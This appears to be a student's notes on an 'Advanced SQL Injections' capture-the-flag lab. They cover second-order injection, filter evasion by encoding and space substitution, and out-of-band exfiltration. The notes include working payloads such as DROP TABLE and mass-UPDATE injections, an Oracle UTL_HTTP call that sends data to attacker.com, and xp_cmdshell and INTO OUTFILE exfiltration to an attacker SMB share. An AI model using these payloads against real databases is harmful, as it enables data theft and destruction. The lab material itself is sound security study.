Advanced SQL Injections

Recap Basics#

In-band SQL Injection#

Error-Based SQL Injection: manipulates the SQL query to produce error which can be used to exploit. Example: SELECT * FROM users WHERE id = 1 AND 1=CONVERT(int, (SELECT @@version))
Union-Based SQL Injection: uses the UNION SQL operator to combine the results of two or more SELECT statements, thereby retrieving data from other tables. Example: SELECT name, email FROM users WHERE id = 1 UNION ALL SELECT username, password FROM admin.

Boolean-Based Blind SQL Injection: The attacker sends an SQL query to the database, forcing the application to return a different result based on a true or false condition. Example: SELECT * FROM users WHERE id = 1 AND 1=1 (true condition) versus SELECT * FROM users WHERE id = 1 AND 1=2 (false condition)
Time-Based Blind SQL Injection: sends an SQL query to the database, which delays the response for a specified time. For example, SELECT * FROM users WHERE id = 1; IF (1=1) WAITFOR DELAY '00:00:05'--

Out-of-band SQL Injection#

Out-of-band SQL injection is used when the attacker cannot use the same channel to launch the attack and gather results or when the server responses are unstable.

Second-Order SQL Injection#

Also known as Stored SQL injection, exploits the vulnerabilities where user-supplied input is saved and subsequently used in different part of application, possibly after some intial processing.
Injection occurs upon second use of the data when it is retrieved and used in SQL command, hence the name.
Usage of $CONN->real_escape_string($POST['ssn]) method to escape special characters in the inputs. While this method can mitigate some risks of immediate SQL Injection by escaping single quotes and other SQL meta-characters, it does not secure the application against Second Order SQLi.
When data is inserted using the real_escape_string() method, it might include payload characters that don’t cause immediate harm but can be activated upon subsequent retrieval and use in another SQL query.
For exampls, lets say, inserting a book with a INSERT INTO books (ssn, book_name, author) VALUES ('U100012', 'Intro to PHP', 'Tim')"; DROP TABLE books;-- might not affect the INSERT operation but could have serious implications if the book name is later used in another SQL context without proper handling.

Lets understand a example of php code that inserts a entry of book in the table of books.

$ssn = $conn->real_escape_string($_POST['ssn']);
$book_name = $conn->real_escape_string($_POST['book_name']);
$author = $conn->real_escape_string($_POST['author']);
$sql = "INSERT INTO books (ssn, book_name, author) VALUES ('$ssn', '$book_name', '$author')";
if ($conn->query($sql) === TRUE) {
    echo "<p class='text-green-500'>New book added successfully</p>";
} else {
    echo "<p class='text-red-500'>Error: " . $conn->error . "</p>";
}

And php code that updates the books. Here, paramenters are directly retrived from the POST request.

  $unique_id = $_POST['update'];
  $ssn = $_POST['ssn_' . $unique_id];
  $new_book_name = $_POST['new_book_name_' . $unique_id];
  $new_author = $_POST['new_author_' . $unique_id];
  $update_sql = "UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '$ssn'; INSERT INTO logs (page) VALUES ('update.php');";

Lets, we have made a request with the below parameters,

post_data = {
  "ssn":"12345'; UPDATE books SET book_name = 'Hacked'; --", 
  "book_name":"Hacker", 
  "author":"Hacker"
  }

and when someone updates this specific book, all the books in the table named to Hacked. Lets how real query look when people updats this book

UPDATE books SET book_name = 'Hacker', author = 'Hacker' WHERE ssn = '12345'; UPDATE books SET book_name = 'Hacked'; --'; INSERT INTO logs (page) VALUES ('update.php');";

First flag: Book ssn = 12345'; Update books set book_name="compromised";
Secodn flag: Book ssn = 12345'; DROP TABLE hello; --

Filter Evasion Techniques#

This section will cover methods, including character encoding, no-quote SQL injection, and handling scenarios where spaces cannot be used. We can effectively penetrate web applications with stringent input validation and security controls by understanding and applying these techniques.

Character Encoding#

Involves converting special characters in the SQL injection payload into encoded forms that may bypass input filters
URL Encoding: characters represented using a percent(%) sign followed by their ASCII value in hexadecimal. For example, the payload ' OR 1=1-- can be encoded as %27%20OR%201%3D1--.
Hexadecimal encoding: A query SELECT * FROM users WHERE name = 'admin' is encoded as SELECT * FROM users WHERE = 0x61646d696e. Just representing characters as their hexadecimal numbers.
Unicode Encoding: Represents characters using Unicode escape sequences. For example admin can be encoded as \u0061\u0064\u006d\u0069\u006e

Example:

Here’s the PHP code (search_books.php) that handles the search functionality:

$book_name = $_GET['book_name'] ?? '';
$special_chars = array("OR", "or", "AND", "and" , "UNION", "SELECT");
$book_name = str_replace($special_chars, '', $book_name);
$sql = "SELECT * FROM books WHERE book_name = '$book_name'";
echo "<p>Generated SQL Query: $sql</p>";
$result = $conn->query($sql) or die("Error: " . $conn->error . " (Error Code: " . $conn->errno . ")");

Here’s the Javascript code in the index.html page that provides the user interface for searching books:

function searchBooks() {
const bookName = document.getElementById('book_name').value;
const xhr = new XMLHttpRequest();
xhr.open('GET', 'search_books.php?book_name=' + encodeURIComponent(bookName), true);
xhr.onload = function() {
    if (this.status === 200) {
        document.getElementById('results').innerHTML = this.responseText;

When malicious input is passed to the PHP script, the str_replace function will strip out the malicious keywords such OR, SELECT. single quotes etc, resulting in a sanitised input that will not execute the intended SQL injection.

Lets understand url encodings for popular sql keywords

%27 is the URL encoding for the single quote (').
%20 is the URL encoding for a space ( ).
|| represents the SQL OR operator.
%3D is the URL encoding for the equals sign (=).
%2D%2D is the URL encoding for --, which starts a comment in SQL.

paylaod = Intro to PHP' || 1=1 --+

http://10.49.144.116/encoding/search_books.php?book_name=Intro%20to%20PHP'%20%7C%7C%201=1%20--+

Filter Evasion Techniques (continued…)#

No-Quote SQL Injection#

These techniques are used when the application filters single or double quotes or escapes.
Using Numerical Values: Use numerical values or other data types that do not require quotes. for example, instead of injecting 'OR '1'=1, an attacker use OR 1=1 in a context where quotes are not necessary.
Using SQL comments: Using SQL comments -- to terminate the rest of the query
Using CONCAT() Function: Function like CONCAT() to construct strings without quotes. For example, CONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e) constructs the string admin.

NO spaces allowed#

when spaces are not allowed or are filtered out, various techniques can be used to bypass.
Comments to replace: For example, instead of SELECT * FROM users WHERE name = 'admin', an attacker can use SELECT/**/*/**/FROM/**/WHERE/**/name/**/='admin'
Tab or Newline characters: using tab \t or newline \n characters as substitus for spaces. For example SELECT\t*FROM\tusers\tWHERE\tname\t=\t'admin'
Alteranate characters: URL encoding represents different types of white spaces, such as horizontal tab %09, line feed %0A, form feed %0C, carriage return %0D, non-breaking space %A0.

Out-of-band SQL Injection#

Its a technique used to exfiltrate data or execute malicious actions when direct or tradional methods are ineffective.
Out-of-band SQL injection utilizes seperate channels for sending payload and reciving the response.

TEchniques in different dbs#

MySQL and MariaDB: OOB SQL injection achieved useing SELECT ... INTO OUTFILE or load_file command. This command allows an attacker to write the results of a query to a file on the server’s filesystem. For example: SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt'; An attacker could then access this file via an SMB share or HTTP server running on the db server, thereby exfiltrating the data through an alternate channel.
Microsoft SQL Server (MYSQL): Performed using features like xp_cmdshell, which allows the execution of shell commands directly from sql queries. This can be leveraged to write data to a file accessaible via a network share. EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';. Alternatively, OPENROWSET or BULK INSERT can be used to interact with external data sources, facilitating data exfiltration through OOB channels.

Oracle: Can be achieved using the UTL_HTTP or UTL_FILE packages. For instance, the UTL_HTTP package can be used to send HTTP requests with sensitive data:

DECLARE
  req UTL_HTTP.REQ
  resp UTL_HTTP.RESP
BEGIN
  req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfiltrate?sensitive_data=' || sensitive_date);
  UTL_HTTP.GET_RESPONSE(req)
END;

Example:

Start smbserver, we can access contents of network share using smbclient //ATTACKER_IP/logs -U guest -N.

cd /opt/impacket/examples; mkdir /tmp/smb_server/
python3 smbserver.py -smb2support -comment "My logs server" -debug logs /tmp/smb_server

Lets issues the commands

1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --
1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --

Advanced SQL Injections

Recap Basics#

In-band SQL Injection#

Inferential (Blind) SQL Injection#

Out-of-band SQL Injection#

Second-Order SQL Injection#

Filter Evasion Techniques#

Character Encoding#

Filter Evasion Techniques (continued…)#

No-Quote SQL Injection#

NO spaces allowed#

Out-of-band SQL Injection#

TEchniques in different dbs#

Table of Contents